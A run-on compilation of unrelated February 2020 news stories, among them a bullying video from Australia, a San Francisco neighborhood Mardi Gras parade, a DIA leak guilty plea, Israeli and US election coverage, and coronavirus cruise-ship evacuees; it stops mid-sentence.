'I just want to stab myself in the heart... I want someone to kill me. I want to die... I want to scratch myself.' His mother, Yarraka Bayles, shared the video publicly on Facebook in a bid to raise awareness of the consequences of bullying. Kind gesture: Meanwhile, the Indigenous All Stars NRL team has reached out to the Bayles family, inviting Quaden to walk them onto the pitch on Saturday. Pictured with Latrell Mitchell She said she normally tries to keep distressing moments such as this private, but felt she had been left with no choice but to go public. At the start of the five-minute clip, Ms Bayles said: 'I just picked my son up from school, witnessed a bullying episode, rang the principal and I want people to know this is the effect bullying has. This is what bullying does. 'So can you please educate your children, your families, your friends because all it takes is one more instance... and you wonder why kids are killing themselves.' For confidential support call the Lifeline 24-hour crisis support on 13 11 14 President of Ukraine Volodymyr Zelensky has said that the protests against the evacuation of Ukrainian citizens from China's Wuhan had a political background, and for this reason it was impossible to bring the evacuees to a better healthcare facility in Ternopil region for a two-week observation. "You know that four facilities were prepared. The best conditions really were in Ternopil regions. You know what happened there Unfortunately, I cannot describe such actions as human. I do not want to mince my words. Unfortunately, such things happen," he told reporters in Kyiv on Friday. Zelensky also said that those events took place not just because of people. "I think that ordinary people have no relation to this. Unfortunately, this pseudo-provocation had political support in some places," he said. The president also noted that soon it might appear that those who protested against land reform and those who stood against seeing Ukrainian citizens in Ukraine are the same people. The band started to warm up a little before 11 a.m., right on the corner of Head and Randolph streets. Two blocks away, at San Franciscos Ocean View Branch Library, Ms. Edna James (everyone just calls her Ms. Edna) heard the drums and all the warm, brassy notes. The parade was about to get going. She grabbed her mask, blue and black and feathery, and started making her way. The corner was already crowded. Mardi Gras beads were getting passed around. People were clapping the younger ones shook plastic eggs full of something that rattled and two older women were waving tissues in the air. Lots were singing along, too. I feel like funkin it up/ feeeel like funkin it up. Again. I feel like funkin it up/ feeeel like funkin it up. All the commotion had neighbors looking out windows, taking videos or coming out into their yards. One man walked out in his bathrobe and nodded along. Somebody handed him a string of beads, and he blushed. Then the music got quiet for Ms. Edna. Just down the street, she told the crowd, was the future site of a brand-new library coming to the neighborhood, the work of lots of grassroots activism. This parade was meant to celebrate that but also to keep pushing the neighborhood further, to bring attention to what the community still needs. (Beating the drums for more success, beating the drums for community awareness, shed said a few days earlier.) I marched in a lot of parades in New Orleans, she told the people on the corner. I thank you for coming and we look forward to keeping this a tradition. So lets march down the road. Bons temps rouler! Jessica Christian / The Chronicle The way this small community tells it, they get left out and left behind a lot. This is the forgotten community, says Felisia Thibodeaux, the director of the I.T. Bookman Community Center. (If theres a physical heart for this part of San Francisco, a place for everybody to come together, its shared by the library and the community center.) There are no services. The majority of our businesses are boarded up. Right on the southern edge of San Francisco, Ocean View often gets lumped in with a larger community, a teardrop-shape group of neighborhoods called OMI for short Ocean View-Merced-Ingleside. Its easy to forget about the area because, in lots of ways, its an island. The way this neighborhood was designed, its so odd, says Lynne Maes, the manager of the Ocean View branch. Three major streets and a highway set the boundaries. You could just go right around this neighborhood like its not even there. For a long time, for instance, the only library in Ocean View was a single storefront on Broad Street. A single class, sometimes even half a class, could fill the place up. In the late 90s there was talk of closing it altogether, but the community fought back, kept the place open and then got the city to open a new branch library on Randolph Street. That was 20 years ago, and the two-story, 4,794-square-foot library is now the citys smallest branch. Ms. Edna lived in OMI during that fight. Shes from Houston originally but moved to the neighborhood in 1974. We knew it wasnt what we wanted, she says. But it was better than what we had on Broad Street. Now the city has plans to build a new library, maybe even the biggest outside the main branch, just a few blocks away at the end of Head Street. But Ms. Ednas not done, of course. We dont have fresh vegetables in this community. Thats my next goal. Jessica Christian / The Chronicle This is the second year in a row that Ocean View had its own Mardi Gras parade. The first one was in 2019 and happened while it rained. The local library had joined in a national push to read Trombone Shorty, a real-life, illustrated book about a little boy in New Orleans wielding a trombone twice as long as he was high. (This was a while back: The musician Troy Andrews, who still goes by Trombone Shorty, is now 34 years old and 6 feet tall.) She just sort of tossed (the idea) out there, says Lynne Maes, the manager of the Ocean View branch. We should do a Mardi Gras ourselves. And so, along with the community center down the street, they did. It was what they called family-style. No closing the streets. Just a modest parade down the sidewalks of Randolph street. Enough money to pay the band for exactly one hour. Ms. Edna was thrilled when about 50 people turned out. She would have been happy, she said, with 10. It was the same way this year. As Ms. Edna led everyone down Randolph Street, she did a little side-slide-shuffle thing, waving her mask in the air, smiling nearly the whole way even though dancing three blocks straight isnt as easy now as it was back in the 50s, when she was living in New Orleans and going to nursing school. Shes in her 80s now, after all. At one point, her shoelace came undone, and someone knelt down to get it tight again so she could keep on marching. This part of the community has been isolated. ... Im trying to get recognition to this part of San Francisco and what were trying to do over here, Ms. Edna says. I said, Lets have a Mardi Gras parade and show some excitement to the community and bring the community together bring some light to the community. Jessica Christian / The Chronicle The parade started with about 40 people, but by the time it got to the I.T. Bookman Community Center, it had picked up another 20 or so and caused a small traffic jam of rubberneckers, who slowed to take in the sight of this small parade with its big sound. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. The band leader waved everybody inside, where the sound got even bigger, the notes banging from wall to wall. Children danced with their parents up in front while older folks clapped along at tables dressed in gold plastic coverings. Ms. Edna tried to make introductions, but it was too loud to make out much of what she (or anybody else) said. The man with the tambourine passed out more beads. Meanwhile, others got busy setting up a buffet there were hush puppies, corn okra creole, dirty rice and creamy Cajun pastalaya. For dessert: cupcakes with bright purple and green frosting, the sort that stains your tongue and teeth. Near the end, people lined up behind Ms. Edna one more time for a mini parade around the room. Once the music had stopped, the band MJs Brass Boppers took their bow. Mardi Gras is any place in the heart, anywhere in the world, said Michael Jones, the bands leader. And then adults got to eating and children got to crafting. Everyone seemed lifted. The music had done what it was meant to do. As Al Lazard, the man who played the sax during the parade, put it: You might not know that neighbor, but you hear that trumpet, and now you know your neighbor. Its true, too. People who had never met started dancing side by side, all the way down the street. Thibideau, the community centers director, watched as people ate. This is an open-your-door, listen-to-the-music, come-in community, she said. If she wanted to, Thibideau could run down a whole list of things the folks in Ocean View (and OMI, more broadly) need. But, in that moment, it felt more correct to focus on the community they had. All you have to have is a desire to want to do the best you can do, she said. Theres a lot of people doing great things right where they are. Jessica Christian / The Chronicle All round the room, people called the afternoon a beautiful one. Lately weve been having a lot of nice things, said Blanche White, 85. She was wearing a silver sequin cap. Marry Harris sat nearby. Like Ms. Edna, shes been in this community for a long time 46 years, she says. Harris remembers pushing to get a real school open, for a recreation center and more community programming. She also remembers the library on Broad Street, all the work it took to get a new one 20 years ago, and she was right there, fighting for the latest commitment, the big one set for Head Street. Its just taken all these decades to really come full circle, she said. The work isnt done, Harris said, but were coming around to the other neighborhoods. That was reason to celebrate. Off to the side, Ms. Edna sat alone, smiling, just like she had been all morning. She joked about the parade, about getting her exercise in as she danced down the street. I wanna be around until we get the new library, she said. Im very pleased. It sheds a little light on this community, Ms. Edna said. She paused for a moment. Took it all in. We have something out here. Ryan Kost is a San Francisco Chronicle staff writer. Email: rkost@sfchronicle.com. Twitter: @RyanKost Former Defense Intelligence Agency Employee Pleads Guilty to Leaking Classified Information to Media A former Defense Intelligence Agency (DIA) employee has pleaded guilty to charges related to the leaking of classified information to two journalists, the Justice Department (DOJ) said. Henry Kyle Frese, 31, pleaded guilty on Thursday to the willful transmission of top-secret national defense information to journalists. He faces up to 10 years in prison. Frese was arrested when he arrived to work at a DIA facility in Virginia in October last year where he worked as a counterterrorism analyst. The 31-year-oldwho held top-secret government security clearancewas accused of helping the journalists research information on a classified United States government computer system and providing them with classified information from five intelligence reports that he accessed, according to court documents. Some of the information was related to the capabilities of certain foreign countries weapon systems. DOJ officials said the information in the report was outside the scope of Freses job duties as an analyst. One of the journalists (referred to as journalist one)who appeared to be in a relationship with Fresepublished eight articles that contained the classified information from the reports between May and July of 2018. According to court documents, Frese and journalist one lived at the same residential address from January 2018 to November 2018 and followed each other on Twitter. Moreover, Frese re-posted at least two of journalist ones Twitter posts announcing the publication of articles containing the sensitive information. During one incident in April 2018, journalist one asked him whether he was willing to speak to another journalist from a different news outlet. Frese said he would if it helped journalist one to progress, court documents said. Officials also intercepted a call where Frese transmitted the classified information to the second journalist on the phone in an attempt to curry favor with journalist two to advance journalist ones career. Prosecutors also said that Frese conducted searches on classified government systems for information regarding the classified topics he discussed with the two journalists on at least 30 separate occasions. He also communicated with an employee of an overseas consulting group via social media and provided classified information to a consultant on at least two occasions, officials said. Frese violated the trust placed in him by the American people when he disclosed sensitive national security information for personal gain, Assistant Attorney General for National Security John C. Demers said in a statement. He alerted our countrys adversaries to sensitive national defense information, putting the nations security at risk, Demers added. Demerss remarks were echoed by Robert Wells, acting assistant director of the FBIs Counterintelligence Division. Mr. Frese violated his sworn oath to protect the American people and uphold the Constitution of the United States by using his access to the United States most sensitive information and steal state secrets for nothing more than personal gain, Wells said. Freses case is one in a series of prosecutions under the Trump administrations efforts to crack down on leaks by government workers. In 2017, then-Attorney General Jeff Sessions vowed to take a stance on leaks and had charged at least six individuals with leaks in just over two years. Last month, an employee from the Department of Treasury pleaded guilty to conspiring to illegally leak documents to a journalist. Former Financial Crimes Enforcement Network (FinCEN) senior official Natalie Mayflower Sours Edwards faces up to five years in prison for illegally leaking suspicious activity reports (SARs) on financial transactions by former Trump-campaign associates Paul Manafort and Rick Gates, the Russian Embassy, and Maria Butina, among others, in 2017 and 2018. Frese is scheduled to be sentenced on June 18. Weekly briefing: Boy Scouts bankruptcy, Florida cross stays, locusts and famine Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment We've compiled the top stories of the week. Here's what you need to know: Boy Scouts files for bankruptcy, plans to compensate abuse victims The Boy Scouts of America filed for bankruptcy and created a Victims Compensation Trust to compensate thousands of sexual abuse victims. The organization said the Chapter 11 process would provide equitable compensation to victims while ensuring that it continues its mission which is to prepare young people to make ethical and moral choices over their lifetimes. More than 12,000 Boy Scout members have been victims of childhood sexual abuse at the hands of 7,819 allegedly sexually abusive troop leaders and volunteers. The organization has been experiencing loss in membership in recent years amid controversy over its allowance of openly gay scouts and leaders and admittance of girls. Judge lets cross stay at Florida public park A panel with the U.S. Court of Appeals for the Eleventh Circuit ruled that a 34-foot tall cross can remain at Bayview Park in Pensacola, saying they find no discriminatory intent behind it. The panel reversed an earlier decision and cited the U.S. Supreme Courts decision last summer to allow a cross in Maryland to stay on public land. Locusts could cause next famine in Africa A growing spread of city-sized swarms of locusts has reached seven East African countries in recent months an invasion that has been described as something similar to the account of one of the 10 plagues of Egypt in the Bible. The locusts have been consuming anything green, including crops and grass for livestock. [I]f we haven't controlled them, then the region is facing famine, not just a food crisis, but a potential famine. Joseph Kamara, World Visions regional director for humanitarian and emergency affairs in East Africa Holy Land Experience laying off most staff The Holy Land Experience, a Christian-themed amusement park in Orlando, Florida, will be laying off most of its employees after Easter. The 19-year-old park is also shutting down its elaborate stage productions beginning mid-April. Mike Everett, general manager, said the park will still be open despite an end to most of its attractions. At the same time, he said they will be assessing other economic opportunities. Listen to CPs latest podcast.Leaving the occult: From New Age to Jesus In case you missed it, read CPs feature:How the faithful are partnering with developers to save affordable housing and Americas homeless Pray for: Families of some 24 people who were killed in an attack on a church and neighboring community in Burkina Faso Over 100,000 who have been displaced and some 700 who have been killed in Mozambique since 2017 as radical Islamic extremism spreads New releases Albums: Just Jesus by Newsong (Feb. 21) BRKNHRT by Hulvey (Feb. 21) Books: Loving Well in a Broken World: Discover the Hidden Power of Empathy by Lauren Casper (Feb. 18) Approaching the Atonement: The Reconciling Work of Christ by Oliver D. Crisp (Feb. 11) Democratic hopeful and New York billionaire Michael Bloomberg owns a condo in a property managed by Donald Trumps company, according to a new report. The billionaire bought the New York City unit for a reported $3.8m in 2000, just as he prepared for his first run for mayor of the city and nearly two decades before he would mount his current longshot bid to challenge Mr Trump for the White House. The property was reported by Crains New York Business, and underscores that the two billionaires were once close, even as Mr Bloomberg has attempted to distance himself from the president who has become anathema to Democrats. The former New York City mayor is now attempting to use his considerable personal fortune to force Mr Trump out of the Oval Office, and has claimed on the campaign trail that he is best suited to take on Mr Trump come November. Mr Trump has repeatedly bashed Mr Bloomberg during the past several months on Twitter and during his rallies, calling him short and mocking him for his seemingly poor performance during Wednesday nights debate in Las Vegas. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters Mini Mike Bloombergs debate performance tonight was perhaps the worst in the history of debates, and there have been some really bad ones, Mr Trump tweeted shortly after that event, in which Mr Bloomberg was targeted on all sides with attacks for his business record and apparent misogynistic remarks to female subordinates. He was stumbling, bumbling and grossly incompetent, Mr Trump continued. If this doesnt knock him out of the race, nothing will. Not so easy to do what I did! Mr Bloombergs condo is located at 610 Park Avenue in the Manhattan borough of the city, and is reportedly now worth close to $6.2m. The pair were considerably more friendly back when the property was purchased, in a relationship that appears to have extended through Mr Trumps controversial 2016 campaign. Yes, Donald, I do love you, he appears to have told Mr Trump a month after his election, according to a video of the exchange. Mr Trump, for his part, has noted that Mr Bloomberg previously called him a New York icon. Prime Minister Benjamin Netanyahu granted on Feb. 18 an interview to the Israeli Arabic-language Panet website, for the first time in the current election campaign. Apparently, Netanyahu is even going after the potential Arab vote, assessing that this constituency could provide him with the crucial Knesset seat he needs to make his dream of a 61-seat majority come true and leave him in power. On that same day, the Justice Ministry announced the date set for Netanyahus corruption trial March 17, two weeks and a day after the March 2 elections. Publication of the date and of the identities of the three judges who will preside over the tribunal brought home the fact that the prime minister accused of bribery was really going on trial, and this was no longer just a vague future calendar event. Blue and White leader Benny Gantz was quick to issue a statement, describing the Netanyahu trial as a sad day for the State of Israel. Netanyahu was quick to respond, challenging Gantz to a televised debate. Gantz tweeted back that Netanyahus challenge was nothing but a spin designed to sideline his looming trial, an insight which was obviously true. From now until election day, Netanyahu will use every trick in the book to set an alternative agenda to his trial. For Blue and White, the trial date announcement was a welcome campaign gift that immediately restored Netanyahus bribery indictment to the top of the agenda. This had been Blue and Whites key message until recently, but it was silenced after Netanyahu withdrew his request for Knesset immunity against prosecution in late January and took control of the agenda with the deal of the century a historic White House extravaganza alongside US President Donald Trump and the ensuing argument over whether the United States had given Israel the go-ahead to annex the West Bank or parts of it. On his way home from Washington, Netanyahu stopped off in Moscow, posed for a photo with Russian President Vladimir Putin and brought back on his plane Naama Issachar, a young Israeli woman jailed on drug charges whom Putin freed under pressure from Netanyahu. A few days later, Netanyahu was off again, this time to Uganda for a historic meeting Feb. 4 with the chief of Sudans Sovereignty Council, Abdel Fattah al-Burhan, ahead of the possible normalization of ties with this formerly hostile Muslim state. Blue and White found it difficult to launch an effective campaign in the face of Netanyahus relentless diplomatic onslaught. Polls indicated that Netanyahus frenetic diplomacy was offsetting his dramatic criminal drama, but did not affect the persistent deadlock between his right-wing, ultra-Orthodox bloc and the opposition. Now that he has pulled the major rabbits out of his hat, from Trump to Putin, Netanyahu probably has no more major surprises up his sleeve. All he can do now is keep generating news, gimmicks and attention grabs in a bid to pick up votes wherever he thinks there is potential. That explains his decision to devote precious campaign time to Arabic-language media. Ostensibly, Netanyahu should have been the Israeli politician most reviled by Israels Arab minority in view of his incessant incitement against its elected representatives. Still, Netanyahus associates are claiming that there are Israeli Arabs who think Netanyahu has been good to them. Therefore, potentially, some of them could actually vote for him. Hence the decision to offer Panet that interview. Panet is a powerful outlet, influential and highly popular among Israeli Arabs and Arab readers, in general. It operates out of modest offices in the central Israeli Arab town of Taibeh and is run by its founder Bassam Jaber, formerly a journalist with the Arabic-language service of the now-defunct Voice of Israel Radio. The Panet site is considered somewhat sympathetic to the right-wing government. Thus, Netanyahu knew that Jaber, who conducted the interview, would provide him with a welcoming platform. Netanyahu took the opportunity of the interview to declare that the idea proposed in the Trump plan of moving Israels border lines so that some of its Arab citizens would become citizens of a future Palestinian state was a nonstarter. We need to erase the idea of transfer. There is no transfer. There wont be a transfer. No one Jewish or Arab will be uprooted from his home, Netanyahu said. Netanyahu also said Israel was conducting many clandestine contacts with several Arab states. The more I talk about it, the less it will yield. I cannot tell you how many times I have visited Arab states, for example Oman and in Uganda I met with the President of Sudan. These were public meetings, but believe me there are many more. [Relations] are growing closer. Netanyahu said he believes Israeli Arabs will soon be able to fly directly to Saudi Arabia for the hajj. Reports that Netanyahu gave the interview to the Israeli Arab website and the few headlines that emerged from it made it into key Israeli Hebrew-language outlets. But to what extent will this help Netanyahu attract Arab votes? Prospects of such an outcome appear slim, but meanwhile he has succeeded in making news that has nothing to do with his looming trial. Netanyahu is also trying to appear in the media in the context of the coronavirus epidemic, an issue that interests Israelis these days far more than the lethargic election campaign. Almost every news broadcast leads with the developments on the Diamond Princess cruise ship anchored off Japan, among whose passengers were 15 Israelis. Netanyahu dropped by the Sheba Medical Center on Feb. 19 and was shown the isolation facility prepared to house those who might be infected by the virus. Here, too, the same logic was at play: Anything that can be done to divert attention from his legal woes will be done. At the same time, Netanyahu is rushing around the country, addressing elaborate, packed election rallies. He is accompanied by senior Likud ministers and dozens of youths brought to each rally to provide an energetic backdrop of the younger generation for the 70-year-old leader. At a rally in the suburban Tel Aviv town of Bat Yam for Russian-speaking Israelis, he showed up with a gallery of respected ministers, among them two senior Russian-speaking Likud figures: Knesset Speaker Yuli Edelstein and Minister Zeev Elkin. The crowd was given headsets for the simultaneous translation of Netanyahus speech. Netanyahu believes this is the way to bring home a certain number of voters who crossed the lines to vote for his Russian-speaking nemesis, former Defense Minister Avigdor Liberman. Over the past few days, Netanyahu has stopped direct attacks on his former ally Liberman, and is now focused on bringing voters back home. Blue and White is conducting a similar campaign. There, too, the search is on for every possible vote. Gantz held quite a few rallies for Russian-speaking voters over the past week, gave interviews to all the Russian-language media outlets and explained that unless the immigrants from the former Soviet Union vote for his party, the political logjam will persist. After all, these are the elections of small numbers. A new poll shows just one percentage point separates U.S. Rep. Joe Kennedy and Sen. Ed Markey in a high-profile primary for Markeys U.S. Senate seat, though voters surveyed believe the congressman would fight harder for them in Washington, D.C. on a range of issues. UMass Lowells Center for Public Opinions poll released Friday shows voters are split on the Massachusetts Democrats, with Kennedy garnering 35% support compared to Markeys 34%. But when asked about particular issues, voters believed Kennedy would fight harder than Markey even on the environment, a surprising knock against the longtime champion of combating climate change who introduced the Green New Deal alongside Rep. Alexandria Ocasio-Cortez last year. Kennedy bested Markey on several politically relevant dimensions, according to the poll, including who will do a better job standing up to Senate Majority Leader Mitch McConnell (37% to 29%); who would fight harder for women (36% to 22%); who would fight harder for people of color (36% to 18%); and who would fight harder on environment (34% to 29%). While the Senate primary looks close at first glance, there are worrying signs for incumbent Ed Markey," said John Cluverius, associate director of the Center for Public Opinion. We werent expecting this level of separation between the two candidates so early." The poll surveyed 450 likely Democratic primary voters in the Bay State between Feb. 12 and Feb. 19; its margin of error was plus or minus 6.1%, the Center for Public Opinion said. Markeys campaign manager, John Walsh, said in an interview that the campaign would not comment on specific polls. Weve seen a number of areas in the last number of weeks that suggest we are doing well, with our caucus results and a good debate performance, Walsh said, referencing a host of victories in Massachusettss Senate primary caucus process that kicked off last weekend. Were very confident the campaign is growing and getting stronger. Emily Kaufman, Kennedys campaign communications director, said the campaign has doubts about the accuracy of the poll based on its methodology and huge margin of error. But we are encouraged by the clear lead Joe commands on every major issue of the day, she added. The 38-year-old congressman and 73-year-old senator, both liberals who largely agree on several key issues, should compete for about 30% of voters who are either undecided or say they would support either candidate, the poll found. According to the poll, Kennedy leads among likely voters who are men, older and moderates, while Markey leads among women, younger voters and liberals. The poll caps off a week that saw the pair face each other in their first 2020 debate on WGBH. Kennedy presented himself as a leader that could bring generational change to Washington, both on issues like campaign finance, the environment and health care, and in inspiring more voters to help flip the Senate and White House in Democrats favor. Markey argued that both his 40 years of leadership on environmental and progressive causes, combined with a track record of successfully pushing bipartisan legislation fighting the gun lobby and fossil fuel industry and advancing research on Alzheimers disease, show hes the right choice to represent the commonwealth on Capitol Hill. Related Content: STATEN ISLAND, N.Y. -- The district attorney dropped all criminal charges against Mob Wives star Drita DAvanzo Friday morning, two months after officials raided her and her husbands home in Pleasant Plains and allegedly found weapons and drugs. The decision was announced during her appearance in Criminal Court in St. George. She was not the target of the search warrant, said Assistant District Attorney Matthew Gamberg. But while she is in the clear, thats not the case for her husband, Lee, whose presence in court was waived. He will no longer be prosecuted on Staten Island, but still faces federal gun charges and marijuana charges in New Jersey in connection with the raid. I have no time to celebrate because my husband is not home, but I am very happy with the outcome, the wife said outside court. All I am focusing on right now is the fact that this turned out good. The NYPD had arrested Drita, 43, along with Lee, 50, on Dec. 19, 2019 when they executed a search warrant at their home at 226 Woodvale Ave. and allegedly found loaded firearms and drugs. The couple was charged with criminal possession of a controlled substance, criminal possession of a weapon, criminal possession of a firearm and endangering the welfare of a child. NYPD detectives found hydrocodone, a pain killer, and alprazolam, an anti-anxiety medication, in the couples bedroom, the criminal complaint alleges. Detectives also found two scales, ziplock bags used for the purpose of unlawfully packaging a narcotic drug, a sum of United States currency and multiple cellular phones inside the home, according to the complaint. Police also recovered a large quantity of marijuana in the basement and in a kitchen cabinet that was accessible to their 12-year-old daughter, the complaint alleges. Drita DAvanzo, a former star of the controversial show Mob Wives, and her husband, Lee, were arraigned in Criminal Court, St. George on drug and weapons charges, Friday Dec. 20, 2019. (Staten Island Advance/Alexandra Salmieri) DAvanzo was released on $15,000 bail shortly after her initial court appearance in December. Following a thorough review of this case, prosecutors decided to drop charges in the best interest of justice, said a statement from the office of District Attorney Michael E. McMahon. Based on the initial evidence, Mrs. DAvanzo and her husband, Lee DAvanzo were both originally charged by our office with weapons possession and related charges following the execution of a search warrant at their family home, the statement said. After further review, the United States Attorneys Office for the Eastern District of New York superseded our case and indicted Lee DAvanzo for the alleged possession of the firearms. Under the theory of constructive possession, it is standard procedure to arrest and charge all parties present when a firearm is confiscated in a common area of a dwelling, prosecutors explained. Following further investigation, if it can be established who actually owned and exclusively controlled the weapon, the charges are adjusted to reflect that. Based on the superseding federal indictment, the fact that Mrs. DAvanzo was not the target of the search warrant, and after a careful review of the evidence, we believe it is appropriate that the charges against Mrs. DAvanzo be dismissed in the interest of justice, the D.A. statement said. "The case against Mr. DAvanzo will proceed accordingly in federal court. She rose to national fame when VH1 launched Mob Wives in April of 2011. Her husbands extensive criminal history and reputed ties to the mob were a central theme of the show. *** CLICK HERE FOR A LOOK AT DRITAS RISE *** FEDERAL AND N.J. CASES VS. HUSBAND Her husband remains in federal custody after the U.S. Attorney for the Eastern District of New York charged him with possession of a firearm while being a convicted felon in January. During the December raid, officers from the New York Police Department and the Narcotics Task Force of the Office of the Monmouth County Prosecutor recovered one gun, a loaded .38-caliber revolver, on the top cabinets above the refrigerator in the kitchen, while the other firearm, a loaded 9 mm, was found under the mattress in the master bedroom of the South Shore home, according to federal court papers. On Feb. 18, Lee pleaded not guilty and his lawyer, James Froccaro, did not present a bail package. A couple of weeks after the Staten Island arrest, Lee DAvanzo was formally arrested in New Jersey in connection to "Operation on the Ropes, a year-long investigation that busted a total of 24 people in a ring that allegedly distributed marijuana and infused THC into popular candies in New Jersey, Monmouth County Prosecutor Christopher J. Gramiccioni announced at the time. In that case, he was charged with fourth-degree conspiracy to possess marijuana and fourth-degree possession of marijuana in excess of 50 grams, Gramiccioni said in a press release. It is not clear what role exactly Lee DAvanzo played in the scheme. The wife was not charged in the New Jersey case. NOT HIS FIRST CONTACT WITH LAW ENFORCEMENT The raid was hardly the first time Lee DAvanzo had contact with the criminal justice system. In 2008, he was arrested in Operation Turkeyshoot," when four suspects were allegedly caught trying to break into the vault of a bank in New Springville. The evidence indicated that Lee and other suspects attempted to gain access by drilling through the walls of a neighboring building, according to Advance archives and documents previously filed in court by federal prosecutors. Lee was on federal probation at the time for similar crimes and he pleaded guilty. He was sentenced to 36 months to five years in state prison. In 2003, Lee was sentenced to 62 months in federal prison on a conviction of racketeering for multiple robberies, marijuana distribution, loansharking and money laundering. In that case, he was identified by prosecutors in court documents as a member of the New Springville Boys, a racketeering enterprise with connections to the Bonanno organized crime family. HER RISE TO STARDOM Dritas own Mob Wives biographical page posted on the VH1 website when she was starring in the show detailed her husbands alleged ties to organized crime. Her bio described Lee as the leader of a Bonanno and Colombo crime family farm team." While her husband is serving time in prison, she is left alone raising two young girls, the bio says. "Drita, who comes from a strict Albanian household, defied her parents and married someone outside the community an Italian." Drita, who lived for a time in the Todt Hill Houses, was raised in the projects of Staten Island after her family settled there from Albania, according to her bio. Source: Xinhua| 2020-02-21 16:57:57|Editor: xuxin Video Player Close KUALA LUMPUR, Feb. 21 (Xinhua) -- Senior officials from the Asia-Pacific Economic Cooperation (APEC) economies gathered in Malaysia on Friday as part of the First Senior Officials Meeting (SOM1) to discuss trade inclusivity and sustainability. Hairil Yahri Yaacob, a senior official from Malaysia's International Trade and Industry Ministry who chaired the meeting, said the priority areas were improving the narrative of trade and investment, inclusive economic participation through digital economy and technology and driving innovative sustainability. "Guided by the aspiration of creating equal opportunities for all the peoples in the region, APEC 2020 will focus on activities and initiatives that APEC economies can undertake as a group to advance the theme around the three corresponding priority areas," said Hairil Yahri in his opening remarks of the meeting. "To this end, Malaysia is doing things differently this year and taking on process improvements to the existing ones in APEC for a more effective meeting and outcomes management," he said. Malaysia hosted a series of working groups and committees meetings since earlier this month to discuss work plans and the agenda to be advanced this year. Hairil Yahri added that Malaysia had also commenced the development process of APEC post-2020 Vision after the expiration of the Bogor Goals this year, which had been the flagship initiative of APEC since 1994. A plane carrying American passengers, who were recently released from the Diamond Princess cruise ship in Japan, arrives at Travis Air Force Base in Calif. on Feb. 16, 2020. (Brittany Hosea-Small/AFP via Getty Images) 4 Cruise Ship Evacuees at Travis Air Force Base Test Positive for Virus Another four Americans released from the Diamond Princess cruise ship and flown back to the United States over the weekend have tested positive for the novel coronavirus that caused an outbreak in China, according to a spokeswoman for the Department of Health and Human Services. The four cruise passengers, who had been in quarantine with other American evacuees at Travis Air Force Base in California, are now being sent to a hospital in Spokane, Washington, for treatment, officials said Thursday. Other passengers among the over 300 who were flown home on U.S.-chartered airplanes were also placed in other military bases in California and Texas, while 13 high-risk passengers were transported to a specialist hospital in Omaha, Nebraska. When it docked in Japan, the Diamond Princess was put under quarantine. But more than 600 passengers and crew have been infected with the coronavirus that has caused a large outbreak in China. The virus causes a flu-like illness and can lead to pneumonia. Centers for Disease Control spokesman Scott Pauley said test results for the hundreds of cruise ship passengers have continued to trickle in from Japan even after their return to the United States. The four patients moved to the Spokane hospital Thursday are among those with more recent test results. They would not have been separated from other passengers while on the flight back to the United States. Two patients arrived at the hospital Thursday in satisfactory condition with two more expected soon, said Christa Arguinchona, who manages a special isolation unit at Sacred Heart Medical Center. The hospital is one of 10 in the nation funded by Congress to treat new or highly infectious diseases. The risk to the community from this particular process is zero, said Bob Lutz of the Spokane Regional Health District at a briefing Thursday at the hospital. 11 Infected Among Evacuees Being Treated Nebraska Meanwhile, two of the 13 passengers being monitored at the specialist hospital in Nebraska have been cleared of the virus, according to the University of Nebraska Medical Center (UNMC). The remaining 11 who arrived in the United States on Feb. 17 have been confirmed to have the virus. According to the UNMC, 10 patients are quarantined in the facilitys National Quarantine Unit, while two others have joined a third who was earlier admitted into the adjacent Nebraska Biocontainment Unit as they were in need of additional care upon return to the United States. All patients have separate rooms to wait out their 14-day quarantine period. With reporting from The Associated Press. Subscriber content preview Image by iStockPhoto [enlarge] Paddleboarder Triston 